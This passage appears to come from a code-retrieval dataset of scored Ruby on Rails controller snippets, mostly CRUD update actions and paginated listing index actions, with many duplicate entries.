}\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e5935674df84eaeb0e8bec2b633708e4", "score": "0.5827015", "text": "def update\n @observation_type = ObservationType.find(params[:id])\n\n respond_to do |format|\n if @observation_type.update_attributes(params[:observation_type])\n format.html { redirect_to @observation_type, notice: 'Observation type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @observation_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac5e9e032a569509bbe3a78b3a7cad27", "score": "0.5826464", "text": "def update\n @building_type = BuildingType.find(params[:id])\n\n respond_to do |format|\n if @building_type.update_attributes(params[:building_type])\n format.html { redirect_to @building_type, notice: 'Building type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @building_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf3561516b66fabcb05fc55ce0dc44f7", "score": "0.5822734", "text": "def update\n respond_to do |format|\n if @brew_type.update(brew_type_params)\n format.html { redirect_to @brew_type, notice: 'Brew type was successfully updated.' }\n format.json { render :show, status: :ok, location: @brew_type }\n else\n format.html { render :edit }\n format.json { render json: @brew_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e29676a3eb891c182a15c31539c8c41e", "score": "0.5821507", "text": "def update\n @breadcrumb = 'update'\n @entity_type = EntityType.find(params[:id])\n @entity_type.updated_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @entity_type.update_attributes(params[:entity_type])\n format.html { redirect_to @entity_type,\n notice: (crud_notice('updated', @entity_type) + \"#{undo_link(@entity_type)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6383ae6cd046227a1a7b7cb53a7ee669", "score": "0.58177686", "text": "def update\n @lotto_type = LottoType.find(params[:id])\n\n respond_to do |format|\n if @lotto_type.update_attributes(params[:lotto_type])\n format.html { redirect_to(@lotto_type, :notice => 'Lotto type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lotto_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89c3dea06d8d914d3751da87261ab43c", "score": "0.58151716", "text": "def update_question_type\n form_params = params.require(:form).permit(:question_id, :question_type)\n\n render json: Question.update_question_type(form_params)\n end", "title": "" }, { "docid": "9ced4e719b313483a7d15e88c0e54434", "score": "0.581429", "text": "def update\n @incident_type = IncidentType.find(params[:id])\n\n respond_to do |format|\n if @incident_type.update_attributes(params[:incident_type])\n format.html { redirect_to @incident_type, notice: 'Incident type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5eeea297bcab3a0130d9ac12f0eefe84", "score": "0.5812333", "text": "def update\n @trait_type = TraitType.find(params[:id])\n\n if @trait_type.update(trait_type_params)\n head :no_content\n else\n render json: @trait_type.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5fa3a008da022299be179656569f0334", "score": "0.5812045", "text": "def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to @thing, notice: 'Thing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a7c4ddc81dc17775464a46c167e99f80", "score": "0.58077925", "text": "def set_thing_type\n @thing_type = ThingType.find(params[:id])\n end", "title": "" }, { "docid": "3c0091983be9a31b7c0fcfb9dd9e23ec", "score": "0.57968396", "text": "def update\n respond_to do |format|\n if @clothing_line.update(clothing_line_params)\n format.html { redirect_to @clothing_line, notice: 'Clothing line was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_line }\n else\n format.html { render :edit }\n format.json { render json: @clothing_line.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5cd5f67382ab8e41c440fd577f913e66", "score": "0.5788461", "text": "def update\n\n raw = params[:sample_type]\n st = SampleType.find(raw[:id])\n\n st.name = raw[:name]\n st.description = raw[:description]\n st.save\n st.save_field_types raw[:field_types]\n\n render json: { sample_type: st }\n\n end", "title": "" }, { "docid": "27238c9d1f95133e52f43dc26392fd54", "score": "0.5788148", "text": "def update\n respond_to do |format|\n if @entity_type.update(entity_type_params)\n format.html { redirect_to @entity_type, notice: 'Entity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_type }\n else\n format.html { render :edit }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc2e638caf18ba7281cb33ea912f33b3", "score": "0.57789147", "text": "def update\n @ctype = Ctype.find(params[:id])\n\n respond_to do |format|\n if @ctype.update_attributes(params[:ctype])\n format.html { redirect_to @ctype, notice: 'Ctype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ctype.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c63697e1e715bc8273eb0d5feb8842b", "score": "0.5778111", "text": "def update\n # respond_to do |format|\n # if @thing.update(thing_params)\n # format.html { redirect_to @thing, notice: 'Thing was successfully updated.' }\n # format.json { render :show, status: :ok, location: @thing }\n # else\n # format.html { render :edit }\n # format.json { render json: @thing.errors, status: :unprocessable_entity }\n # end\n # end\n end", "title": "" }, { "docid": "6673b624b8c40a058559c4a028ded909", "score": "0.57690835", "text": "def update\n respond_to do |format|\n if @typeconge.update(typeconge_params)\n format.html { redirect_to @typeconge, notice: 'Typeconge was successfully updated.' }\n format.json { render :show, status: :ok, location: @typeconge }\n else\n format.html { render :edit }\n format.json { render json: @typeconge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7951a5636371fc49001a8af52c269797", "score": "0.5765276", "text": "def update\n respond_to do |format|\n if @claim_type.update(claim_type_params)\n format.html { redirect_to @claim_type, notice: 'Claim type was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_type }\n else\n format.html { render :edit }\n format.json { render json: @claim_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23a22e60fbbb8ed7a34cc632f4964900", "score": "0.5750449", "text": "def update\n respond_to do |format|\n if @incident_type.update(incident_type_params)\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident_type }\n else\n format.html { render :edit }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "174503203d66cc1d078f05f38392ec90", "score": "0.57463366", "text": "def update\n @entry_type = EntryType.find(params[:id])\n\n respond_to do |format|\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type.field_type_ids = field_type_ids if field_type_ids\n params[:entry_type].delete(\"form_code\")\n if @entry_type.update_attributes(params[:entry_type])\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "489cadb461b8360ffa561f5d6e93e593", "score": "0.5745879", "text": "def update\n @contractor_type = ContractorType.find(params[:id])\n\n respond_to do |format|\n if @contractor_type.update_attributes(params[:contractor_type])\n format.html { redirect_to @contractor_type, notice: 'Contractor type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7d462a4cefc65b78a5dc9e0062054491", "score": "0.5742419", "text": "def update\n respond_to do |format|\n if @roof_type.update(roof_type_params)\n format.html { redirect_to roof_types_path, notice: 'Roof type was successfully updated.' }\n format.json { render :show, status: :ok, location: @roof_type }\n else\n format.html { render :edit }\n format.json { render json: @roof_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2638e965b5c259dc87e3413af1398c95", "score": "0.5732135", "text": "def update\n respond_to do |format|\n if @box_request_abuse_type.update(box_request_abuse_type_params)\n format.html { redirect_to @box_request_abuse_type, notice: 'Box request abuse type was successfully updated.' }\n format.json { render :show, status: :ok, location: @box_request_abuse_type }\n else\n format.html { render :edit }\n format.json { render json: @box_request_abuse_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2567055b99afc0a61327623c409f9d56", "score": "0.5728082", "text": "def update\n respond_to do |format|\n if @let_type.update(let_type_params)\n format.html { redirect_to @let_type, notice: 'Let type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @let_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71063a220df28f464dd293dda99dfab5", "score": "0.5718008", "text": "def update\n @os_type = OsType.find(params[:id])\n\n respond_to do |format|\n if @os_type.update_attributes(params[:os_type])\n format.html { redirect_to @os_type, notice: 'Os type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @os_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "69d75d40b3900cb692460cb246f2d107", "score": "0.57173467", "text": "def update\n respond_to do |format|\n if @gig_type.update(gig_type_params)\n format.html { redirect_to @gig_type, notice: 'Gig type was successfully updated.' }\n format.json { render :show, status: :ok, location: @gig_type }\n else\n format.html { render :edit }\n format.json { render json: @gig_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71795d30e01857b29e464a542994946e", "score": "0.57141", "text": "def update\n respond_to do |format|\n if @typeio.update(typeio_params)\n format.html { redirect_to @bulletin_board, notice: 'Typeio was successfully updated.' }\n format.json { render :show, status: :ok, location: @typeio }\n else\n format.html { render :edit }\n format.json { render json: @typeio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7823506dfe83750141f02d3fecc8c70c", "score": "0.57133913", "text": "def update\n respond_to do |format|\n if @intervention_type.update(intervention_type_params)\n format.html { redirect_to intervention_types_path, notice: 'O tipo de intervenção foi actualizado.' }\n format.json { render :show, status: :ok, location: @intervention_type }\n else\n format.html { render :edit }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a442d9a53fcc74c34cfbf9a5bcaf559", "score": "0.57126594", "text": "def update \t\n record = AssetType.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end", "title": "" }, { "docid": "cb7d4d66a64edb99736aa3f3270f4803", "score": "0.5705556", "text": "def update\n respond_to do |format|\n if @issue_type.update(issue_type_params)\n format.html { redirect_to @issue_type, notice: 'Issue type was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_type }\n else\n format.html { render :edit }\n format.json { render json: @issue_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "28f5ed70b2b1501e7dc5cc9fc447a5e6", "score": "0.57043517", "text": "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n end", "title": "" }, { "docid": "28f5ed70b2b1501e7dc5cc9fc447a5e6", "score": "0.57043517", "text": "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n end", "title": "" }, { "docid": "28f5ed70b2b1501e7dc5cc9fc447a5e6", "score": "0.57043517", "text": "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n end", "title": "" }, { "docid": "28f5ed70b2b1501e7dc5cc9fc447a5e6", "score": "0.57043517", "text": "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n end", "title": "" }, { "docid": "28f5ed70b2b1501e7dc5cc9fc447a5e6", "score": "0.57043517", "text": "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n end", "title": "" }, { "docid": "28f5ed70b2b1501e7dc5cc9fc447a5e6", "score": "0.57043517", "text": "def update!(**args)\n @kind = args[:kind] if args.key?(:kind)\n end", "title": "" }, { "docid": "65e5bd8cf2b22cd5be91959d0e4f22b7", "score": "0.5702258", "text": "def update\n @company = Company.friendly.find(params[:id])\n\n @company.companytype_id = params[:companytype_id]\n\n\n\n respond_to do |format|\n\n if @company.update(company_params)\n format.html { redirect_to @company, notice: 'Company was successfully updated.' }\n format.json { render :show, status: :ok, location: @company }\n else\n format.html { render :edit }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f78b44268416c43f2c68063421f14090", "score": "0.5696221", "text": "def update\n @kind = Kind.find(params[:id])\n\n respond_to do |format|\n if @kind.update_attributes(params[:kind])\n format.html { redirect_to @kind, notice: 'Kind was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kind.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9267ba251e7c9f4ec557d6a95736c4d5", "score": "0.5694797", "text": "def update\n @gearbox_type = GearboxType.find(params[:id])\n\n respond_to do |format|\n if @gearbox_type.update_attributes(params[:gearbox_type])\n format.html { redirect_to(@gearbox_type, :notice => 'Gearbox type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gearbox_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30e9899faaf229a5d2ed26991de855c6", "score": "0.56945574", "text": "def update\n @contract_type = ContractType.find(params[:id])\n\n respond_to do |format|\n if @contract_type.update_attributes(params[:contract_type])\n format.html { redirect_to @contract_type, notice: 'Contract type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a519635a30bb45c8addc16955990d3a0", "score": "0.569218", "text": "def update\n @ope_kind = OpeKind.find(params[:id])\n\n respond_to do |format|\n if @ope_kind.update_attributes(params[:ope_kind])\n format.html { redirect_to @ope_kind, notice: 'Ope kind was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ope_kind.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.56897336", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" }, { "docid": "604f99b3d09e917590568578fb8ae912", "score": "0.5688503", "text": "def update!(**args)\n @type = args[:type] if args.key?(:type)\n end", "title": "" } ]
1aa08cd4ae327c58da17de3dc602665f
initialize all rows of the listings table with eager load for s3 images, ransack for search and search and paginate for limiting listings per page
[ { "docid": "4856901a405c31628d725520ef05020b", "score": "0.7055027", "text": "def index\n @q = Listing.ransack(params[:q])\n @listings = @q.result.with_attached_picture.paginate(:page => params[:page], :per_page=>8)\n end", "title": "" } ]
[ { "docid": "64f4108b7d566a29077b99a88e53e686", "score": "0.67563665", "text": "def index\n @listings = Listing.order(created_at: :desc).includes(:commoner, :tags, :comments, :images)\n end", "title": "" }, { "docid": "aaf9417d1155d3fb37d8878cc745718c", "score": "0.65990776", "text": "def index\n #@page = params[:page] ? params[:page] : 1\n args = listing_params\n args ||= {}\n @listings = paginate Listing.where(*query_args(args))\n \n render :index\n end", "title": "" }, { "docid": "6ffac60ee33b7690cc21a18ec864546c", "score": "0.63740253", "text": "def index \n\t\t# listings_per_page = 7\n # \tparams[:page] = 1 unless params[:page]\n # \tfirst_listing = (params[:page].to_i - 1 ) * listings_per_page\n # \tlistings = Listing.all\n # \t@total_pages = listings.count / listings_per_page\n # \tif listings.count % listings_per_page > 0\n # \t\t@total_pages += 1\n # \tend\n # \t@listings = listings[first_listing...(first_listing + listings_per_page)]\n\t\t@listings = Listing.all \n\tend", "title": "" }, { "docid": "2ab6c7c35658f9c20935ad5821c7aee4", "score": "0.63223475", "text": "def index\n # @listings = Listing.all\n @listings = Listing.order(:name).page params[:page]\n end", "title": "" }, { "docid": "d0d2a53680fa873941933679bfdb4f76", "score": "0.6266511", "text": "def featured_listings\n @listings = Listing.limit(5)\n render\n end", "title": "" }, { "docid": "f1064da12658fcf5e9281891761e1774", "score": "0.6247393", "text": "def index\n @listings = Listing.all\n \n end", "title": "" }, { "docid": "33810a727374a622e1a99320baded7c2", "score": "0.6241119", "text": "def index\n #retrieve all listings from the database and implement eager loading on pictures and categories\n @listings = Listing.all.with_attached_picture.includes(:category)\n p @listings\n end", "title": "" }, { "docid": "396eab08facef6c0ab75d9120e0ef077", "score": "0.6144642", "text": "def index\n @listings = Listing.all.where(:private => false).paginate(:page => params[:page], :per_page => 25).order(:cached_votes_score => :desc)\n @listings = Listing.all.where(:private => false).name_search(params[:l]) if params[:l]\n end", "title": "" }, { "docid": "caf32e438f365028ad0ce9d5026e63a7", "score": "0.6136655", "text": "def index\n @listings = Listing.order('created_at DESC').limit(5)\n end", "title": "" }, { "docid": "5b40dbdacc4175dccd76c7ff5c88beb2", "score": "0.61039746", "text": "def index\n if params[:status] != nil then\n if params[:status] != \"0\" then\n @sales_listings = SalesListing.joins(\"left join items on items.id = sales_listings.item_id\").paginate(:page => params[:page],\n :order => \"items.description, sales_listings.updated_at desc\",\n :conditions => [\"listing_status_id = ? and user_id = ?\", params[:status], current_user[:id]])\n else\n @sales_listings = SalesListing.joins(\"left join listing_statuses on sales_listings.listing_status_id = listing_statuses.id\").joins(\"left join items on items.id = sales_listings.item_id\").paginate(:page => params[:page],\n :order => \"position, items.description, sales_listings.updated_at desc\",\n :conditions => [\"user_id = ?\", current_user[:id]])\n end\n else if params[:search] != nil then\n if params[:every_listings] == nil then\n @sales_listings = SalesListing.joins(\"left join listing_statuses on sales_listings.listing_status_id = listing_statuses.id\").joins(\"left join items on items.id = sales_listings.item_id\").where([\"user_id = ? and listing_statuses.description = ?\", current_user[:id], \"Ongoing\"]).search(params[:search], params[:page]).order('sales_listings.updated_at DESC')\n else\n @sales_listings = SalesListing.joins(\"left join listing_statuses on sales_listings.listing_status_id = listing_statuses.id\").joins(\"left join items on items.id = sales_listings.item_id\").where([\"user_id = ?\", current_user[:id]]).search(params[:search], params[:page]).order('sales_listings.updated_at DESC')\n end\n else\n # Using all_cached provides better performance while paging records, displaying the main page provides similar results though\n @sales_listings = SalesListing.all_cached(current_user[:id]).paginate(:page => params[:page])\n end\n end\n # using uncached results provide better performance, might be due to smaller data set\n @status_list = ListingStatus.find(:all, :select => \"id, description\", :order => \"description\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sales_listings }\n end\n end", "title": "" }, { "docid": "6f2873c616cabb16bd5485d0f3a30554", "score": "0.60950965", "text": "def index\n #contains all the listings\n @listings = Listing.all\n end", "title": "" }, { "docid": "11583aad05071bf424bd4cb5eefafd7e", "score": "0.60650724", "text": "def load_records\n get_paging_parameters\n @filter, @subfilter, find_include, find_conditions, @total_records = filter_prepare\n find_order = @sortable_columns.has_key?(@sidx) ? (@sortable_columns[@sidx] + ' ' + ((@sord == 'desc') ? 'DESC' : 'ASC')) :\n (@default_sidx ? @sortable_columns[@default_sidx] + ' ASC' : nil)\n # find_order = @sortable_columns.include?(@sidx) ? (@sidx + ' ' + ((@sord == 'desc') ? 'DESC' : 'ASC')) :\n # (@default_sidx ? @default_sidx + ' ASC' : nil)\n rows_per_page = @rows_per_page\n if rows_per_page > 0\n @total_pages = (@total_records > 0 && rows_per_page > 0) ? 1 + (@total_records/rows_per_page).ceil : 0\n @page = @total_pages if @page > @total_pages\n @page = 1 if @page < 1\n @start_offset = rows_per_page*@page - rows_per_page\n else\n @total_pages = 1\n rows_per_page = @total_records\n @start_offset = 0\n end\n if @start_offset < 0\n puts \"??Why is start_offset negative?\"\n @start_offset = 0\n end\n if @livesearch && @livesearch.size > 0\n livesearch_fields = @livesearch_fields[@livesearch_field] rescue []\n if livesearch_fields.size > 0\n fields_conditions = []\n @livesearch.split(' ').each do |substring|\n live_conditions = [] \n livesearch_fields.each do |f|\n find_conditions << \"%#{substring}%\"\n live_conditions << \"#{f} LIKE ?\" \n end\n fields_conditions << '(' + live_conditions.join(' or ') + ')'\n end\n find_conditions[0] += ' and (' + fields_conditions.join(' and ') + ')'\n end\n end\n puts \"Rows per page #{@rows_per_page}, offset #{@start_offset}, find_order #{find_order}, find_conditions #{find_conditions}, find_include #{find_include}.\"\n scoped_model.find(:all, :include => find_include, :conditions => find_conditions,\n :limit => rows_per_page, :offset => @start_offset, :order => find_order)\n end", "title": "" }, { "docid": "771608a941fd767495df41fb269a2472", "score": "0.6063351", "text": "def index\n if params[:search].present?\n @listings = Listing.search_by(search_params)\n else\n @listings = Listing.all\n end\n end", "title": "" }, { "docid": "e615ee3381f88cbc4c3ef137091f9da8", "score": "0.6041359", "text": "def index\n @product_listings = ProductListing.paginate(page: params[:page])\n end", "title": "" }, { "docid": "2b36a350b0dd850dbc712ca91c2128e5", "score": "0.60325885", "text": "def index\n @listings = Listing.all\n end", "title": "" }, { "docid": "2b36a350b0dd850dbc712ca91c2128e5", "score": "0.60325885", "text": "def index\n @listings = Listing.all\n end", "title": "" }, { "docid": "2b36a350b0dd850dbc712ca91c2128e5", "score": "0.60325885", "text": "def index\n @listings = Listing.all\n end", "title": "" }, { "docid": "2b36a350b0dd850dbc712ca91c2128e5", "score": "0.60325885", "text": "def index\n @listings = Listing.all\n end", "title": "" }, { "docid": "2b36a350b0dd850dbc712ca91c2128e5", "score": "0.60325885", "text": "def index\n @listings = Listing.all\n end", "title": "" }, { "docid": "2b36a350b0dd850dbc712ca91c2128e5", "score": "0.60325885", "text": "def index\n @listings = Listing.all\n end", "title": "" }, { "docid": "6ac20cecc51a4ac5e70885de024adc99", "score": "0.59978706", "text": "def index\n @listing_photos = ListingPhoto.all\n end", "title": "" }, { "docid": "cc86e98bdc269e1925c13f2071b8ed2c", "score": "0.5962488", "text": "def index\n \t@listings = Listing.all\n end", "title": "" }, { "docid": "6f28ee56e8bfeb7ed4614d0fe0c4e7cc", "score": "0.5942217", "text": "def index\n @page = params[\"page\"] || 1\n @per_page = params[\"per_page\"] || 50\n \n query = params.slice(\"category\", \"listing_type\")\n \n if params[\"status\"] == \"closed\"\n query[\"open\"] = false\n elsif params[\"status\"] == \"all\"\n # leave \"open\" out totally to return all statuses\n else\n query[\"open\"] = true #default\n end\n \n if params[\"person_id\"]\n query[\"author_id\"] = params[\"person_id\"]\n end\n \n unless @current_user && @current_user.communities.include?(@current_community)\n query[\"visibility\"] = \"everybody\"\n end\n \n if params[\"search\"]\n @listings = search_listings(params[\"search\"], query)\n elsif @current_community\n listings_to_query = (query[\"open\"] ? @current_community.listings.open : @current_community.listings)\n @listings = listings_to_query.where(query).order(\"created_at DESC\").paginate(:per_page => @per_page, :page => @page)\n else\n # This is actually not currently supported. Community_id is currently required parameter.\n @listings = Listing.where(query).order(\"created_at DESC\").paginate(:per_page => @per_page, :page => @page)\n end\n \n @total_pages = @listings.total_pages\n \n # Few extra fields for ATOM feed\n if params[:format].to_s == \"atom\" \n \n @category_label = (params[\"category\"] ? \"(\" + localized_category_label(params[\"category\"]) + \")\" : \"\")\n \n if [\"request\",\"offer\"].include?params['listing_type']\n listing_type_label = t(\"listings.index.#{params['listing_type']+\"s\"}\")\n else\n listing_type_label = t(\"listings.index.listings\")\n end\n \n @title = t(\"listings.index.feed_title\", :optional_category => @category_label, :community_name => @current_community.name, :listing_type => listing_type_label)\n @updated = @listings.first.present? ? @listings.first.updated_at : Time.now\n end\n respond_with @listings\n end", "title": "" }, { "docid": "cd0722038d79b233c3a6c1858293445b", "score": "0.5868076", "text": "def index\n scrapper = ScrappingDatum.new\n scrapping_data_tmp = ScrappingDatum.where(\"is_read=false and is_hold=false\")\n @scrapping_data = Kaminari.paginate_array(scrapping_data_tmp).page(params[:page]).per(1)\n end", "title": "" }, { "docid": "320b84282a2556f12544841f8b4a2d01", "score": "0.58308077", "text": "def index\n add_breadcrumb \"Trainings\", :trainings_path, { :title => \"Trainings\" }\n trainings_scope = Training.all\n trainings_scope = trainings_scope.like(params[:filter]) if params[:filter]\n @trainings = smart_listing_create(:trainings,\n trainings_scope,\n partial: \"trainings/listing\")\n end", "title": "" }, { "docid": "1f86b63fb0eb8dae9b5faf1aa0b25e92", "score": "0.5816042", "text": "def index\n if params[:search].present?\n @listings = Listing.search_by(search_params)\n else \n @listings = Listing.all\n end \nend", "title": "" }, { "docid": "e24e06465008514c77c3de99b5f10c5e", "score": "0.58056563", "text": "def initialize()\n @listings = []\n end", "title": "" }, { "docid": "dc6a11adb5ef74070186242527728a2d", "score": "0.57984686", "text": "def index\n Listing.destroy_all(draft:true, draft_by:current_user.id)\n\n @search = Listing.search(params[:q])\n\n @listings = @search.result.where(draft:false).order(\"created_at DESC\").page(params[:page]).per(15)\n end", "title": "" }, { "docid": "00ec865c2b08a6decc1bf46846fbb34d", "score": "0.577922", "text": "def get_list_of_records(klass, options = {}, &block)\n items = klass.name.tableize\n self.current_page = options[:page] if options[:page]\n query = options[:query] if options[:query]\n category = options[:category] if options[:category]\n pagination = options[:pagination].nil? ? true : options[:pagination] \n date = options[:date] if options[:date]\n #date_range = options[:date_range] if options[:date_range]\n start_date = options[:start_date] if options[:start_date]\n end_date = options[:end_date] if options[:end_date]\n sort_fields = options[:sort] if options[:sort]\n sort_dir = options[:dir] || \"ASC\"\n per_page = options[:per_page] if options[:per_page]\n\n #self.current_query = options\n records = {\n :user => @current_user #,\n # :order => @current_user.pref[:\"#{items}_sort_by\"] || klass.sort_by\n }\n\n # Use default processing if no hooks are present. Note that comma-delimited\n # export includes deleted records, and the pagination is enabled only for\n # plain HTTP, Ajax and XML API requests.\n wants = request.format\n filter = session[options[:filter]].to_s.split(',') if options[:filter]\n scope = klass.scoped\n scope = scope.category(category) if category.present?\n scope = scope.state(filter) if filter.present?\n scope = scope.search(query) if query.present?\n scope = scope.at_date(date) if date.present?\n #scope = scope.between_dates(date_range) if date_range.present?\n scope = scope.between_dates(start_date, end_date) if (start_date.present? && end_date.present?)\n\n if sort_fields.present?\n words = sort_fields.split(\".\")\n if words.length > 1\n table = words.shift.tableize # popup first item\n field = words.join(\".\")\n sort_fields2 = \"#{table}.#{field}\" 